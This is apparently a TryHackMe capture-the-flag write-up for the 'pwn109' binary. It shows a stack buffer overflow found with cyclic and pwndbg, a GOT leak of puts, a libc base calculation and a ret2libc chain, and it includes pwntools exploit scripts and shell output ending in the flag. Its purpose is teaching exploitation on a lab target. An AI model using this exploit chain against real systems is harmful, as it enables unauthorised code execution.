// .got.plt
// SHT_PROGBITS [0x404000 - 0x40402f]
// ram:00404000-ram:0040402f
//
__DT_PLTGOT XREF[2]: 00403ef8(*),
_GLOBAL_OFFSET_TABLE_ _elfSectionHeaders::00000610(*)
00404000 20 3e 40 addr _DYNAMIC
00 00 00
00 00
PTR_00404008 XREF[1]: FUN_00401020:00401020(R)
00404008 00 00 00 addr 00000000
00 00 00
00 00
PTR_00404010 XREF[1]: FUN_00401020:00401026
00404010 00 00 00 addr 00000000
00 00 00
00 00
PTR_puts_00404018 XREF[1]: puts:00401064
00404018 00 50 40 addr <EXTERNAL>::puts = ??
00 00 00
00 00
PTR_gets_00404020 XREF[1]: gets:00401074
00404020 18 50 40 addr <EXTERNAL>::gets = ??
00 00 00
00 00
PTR_setvbuf_00404028 XREF[1]: setvbuf:00401084
00404028 20 50 40 addr <EXTERNAL>::setvbuf = ??
00 00 00
00 00
The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc functions. puts@got, for example, will contain the address of puts in memory. When the PLT (Procedure Linkage Table) gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so (also called the dynamic linker/loader) to get the function address and stores it in the GOT.
With this we can leak the address of puts@plt
which will also still call puts
, calculate the libc base address then perform a ret2libc attack
For this attack iโll get the offset first
โโ$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn109]
โโ$ gdb-pwndbg pwn109.pwn109
Reading symbols from pwn109.pwn109...
pwndbg: loaded 138 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
pwndbg> r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 109
This time no ๐ ๐คซ & ๐๐ฉ.๐ Go ahead ๐
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401231 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโ
*RAX 0x7fffffffde10 โโ 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*RBX 0x7fffffffdf48 โโธ 0x7fffffffe2ac โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109'
*RCX 0x7ffff7f9ba80 (_IO_2_1_stdin_) โโ 0xfbad208b
*RDX 0x1
*RDI 0x7ffff7f9da20 (_IO_stdfile_0_lock) โโ 0x0
*RSI 0x1
R8 0x0
R9 0x0
*R10 0x7ffff7dd62a8 โโ 0x100022000043f9
*R11 0x246
R12 0x0
*R13 0x7fffffffdf58 โโธ 0x7fffffffe2e3 โโ 0x5245545f5353454c ('LESS_TER')
R14 0x0
*R15 0x7ffff7ffd020 (_rtld_global) โโธ 0x7ffff7ffe2e0 โโ 0x0
*RBP 0x6161616a61616169 ('iaaajaaa')
*RSP 0x7fffffffde38 โโ 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*RIP 0x401231 (main+63) โโ ret
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0x401231 <main+63> ret <0x6161616c6161616b>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rsp 0x7fffffffde38 โโ 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0008โ 0x7fffffffde40 โโ 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0010โ 0x7fffffffde48 โโ 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:0018โ 0x7fffffffde50 โโ 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0020โ 0x7fffffffde58 โโ 'saaataaauaaavaaawaaaxaaayaaa'
05:0028โ 0x7fffffffde60 โโ 'uaaavaaawaaaxaaayaaa'
06:0030โ 0x7fffffffde68 โโ 'waaaxaaayaaa'
07:0038โ 0x7fffffffde70 โโ 0x61616179 /* 'yaaa' */
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ f 0 0x401231 main+63
f 1 0x6161616c6161616b
f 2 0x6161616e6161616d
f 3 0x616161706161616f
f 4 0x6161617261616171
f 5 0x6161617461616173
f 6 0x6161617661616175
f 7 0x6161617861616177
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pwndbg> q
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn109]
โโ$ cyclic -l kaaa
40
The offset is 40.
With this i need to leak the address of puts@plt then jump back to the main function
To leak puts i need to find a pop_rdi gadget since the calling convention of x64 requires passing in the correct argument
Hereโs how it will go
1. Overflow the buffer
2. Pop the value of puts@plt to puts@got
3. Jump back to the main function to perform another buffer overflow but this time getting shell
To get a pop_rdi gadget i used ropper
โโ$ ropper --file pwn109.pwn109 --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: pwn109.pwn109
0x00000000004012a3: pop rdi; ret;
Note: Libc address are 6 bytes long, meaning they are preceded with 0x0000
Hereโs the script i put together to do the leaking of puts@got
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './pwn109.pwn109'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
libc = elf.libc
# Start program
io = start()
offset = 40
pop_rdi = 0x00000000004012a3 # pop rdi; ret;
# Build payload for puts plt leak address
payload = flat({
offset: [
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
io.recvuntil('Go ahead')
io.recvline()
io.sendline(payload)
# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
got_puts = u64(io.recv(6) + b'\x00\x00')
info("Puts leaked address %#x", got_puts)
Running it leaks the address of puts
โโ$ python3 exploit.py
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwn109.pwn109': pid 385602
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Go ahead')
[*] Puts leaked address 0x7ffff7e40820
[*] Stopped process './pwn109.pwn109' (pid 385602)
With this we can easily calculate the libc base address
Getting the libc base address will lead to getting a shell
Hereโs the local solve script Exploit
Note: I had to add a valid return address to allign the stack
Running it locally works
โโ$ python3 exploit.py
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwn109.pwn109': pid 386906
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Go ahead')
[*] Puts leaked address 0x7ffff7e40820
[*] Libc address 0x7ffff7dc9000
[*] Loaded 195 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Libc system address 0x7ffff7e15330
[*] Libc /bin/sh address 0x7ffff7f5f031
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 109
This time no ๐ ๐คซ & ๐๐ฉ.๐ Go ahead ๐
$ ls -al
total 36
drwxr-xr-x 2 mark mark 4096 Feb 18 05:29 .
drwxr-xr-x 11 mark mark 4096 Feb 18 04:53 ..
-rw-r--r-- 1 mark mark 2007 Feb 18 05:28 exploit.py
-rw------- 1 mark mark 21 Feb 18 05:24 .gdb_history
-rwxr-xr-x 1 mark mark 16920 Feb 18 04:56 pwn109.pwn109
$
Now iโll run it on the remote server!! But it doesnโt work
โโ$ python3 exploit.py REMOTE 10.10.176.92 9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.176.92 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f5845059aa0
[*] Libc address 0x7f5844fe2280
[*] Loaded 195 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Libc system address 0x7f584502e5b0
[*] Libc /bin/sh address 0x7f58451782b1
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 109
This time no ๐ ๐คซ & ๐๐ฉ.๐ Go ahead ๐
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 10.10.176.92 port 9009
[*] Got EOF while sending in interactive
Now if you keep on running it you will notice that the value changes except the last 3 bytes
[*] Puts leaked address 0x7f626f2a6aa0
[*] Libc address 0x7f626f22f280
[*] Libc system address 0x7f626f27b5b0
[*] Libc /bin/sh address 0x7f626f3c52b1
[*] Puts leaked address 0x7fc0ec60daa0
[*] Libc address 0x7fc0ec596280
[*] Libc system address 0x7fc0ec5e25b0
[*] Libc /bin/sh address 0x7fc0ec72c2b1
Reason for that is because of ASLR (Address Space Layout Randomization)
So iโll need to get the libc version of the remote server
To get a better result iโll leak 3 different address from the got.plt section of the binary
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './pwn109.pwn109'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
libc = elf.libc
# Start program
io = start()
offset = 40
pop_rdi = 0x00000000004012a3 # pop rdi; ret;
movaps = 0x000000000040101a # ret;
# Build payload for puts plt leak address
payload = flat({
offset: [
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
io.recvuntil('Go ahead')
io.recvline()
io.sendline(payload)
# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
got_puts = u64(io.recv(6) + b'\x00\x00')
info("Puts leaked address %#x", got_puts)
# Update libc address
libc.address = got_puts - libc.symbols['puts']
#info("Libc address %#x", libc.address)
# Perform ret2libc
#rop = ROP(libc)
#sh = next(libc.search(b'/bin/sh'))
#system = rop.system(sh)
#chain = rop.chain()
#info("Libc system address %#x", libc.symbols['system'])
#info("Libc /bin/sh address %#x", sh)
info("Gets address %#x", libc.symbols['gets'])
info("Setvbuf address %#x", libc.symbols['setvbuf'])
#payload = flat({
# offset: [
# movaps,
# movaps,
# movaps,
# chain
# ]
#})
# Send the payload
#io.sendline(payload)
#io.interactive()
Running it leaks the thress address from got.plt
โโ$ python3 exploit.py REMOTE 10.10.98.40 9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.98.40 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f4d584f0aa0
[*] Gets address 0x7f4d584f01b0
[*] Setvbuf address 0x7f4d584f10b0
[*] Closed connection to 10.10.98.40 port 9009
Using libc database check blukat iโll get the remote libc version
So its likely that the remote server uses
Looking at the value we can get the offset relative to the current value we have already in this case puts
Hereโs the solve script Exploit
Running it on the remote server works
โโ$ python3 a.py REMOTE 10.10.98.40 9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.98.40 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/a.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f05a8bd9aa0
[*] Libc address 0x7f05a8b62280
[*] Libc system address 0x7f05a8bae5b0
[*] Libc /bin/sh address 0x7f05a8d0ce1a
[*] Switching to interactive mode
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 109
This time no ๐ ๐คซ & ๐๐ฉ.๐ Go ahead ๐
$ ls -al
total 48
drwx------ 2 pwn109 pwn109 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn109 pwn109 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn109 pwn109 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn109 pwn109 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 pwn109 pwn109 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn109 pwn109 44 Jan 28 2022 flag.txt
-rwxrwxrwx 1 pwn109 pwn109 16920 Jan 29 2022 pwn109
-rwxrwxrwx 1 pwn109 pwn109 654 Jan 28 2022 pwn109.c
$ cat flag.txt
THM{w417_h0w_Y0u_l3ked_i7_w1th0uT_pr1ntF??}
$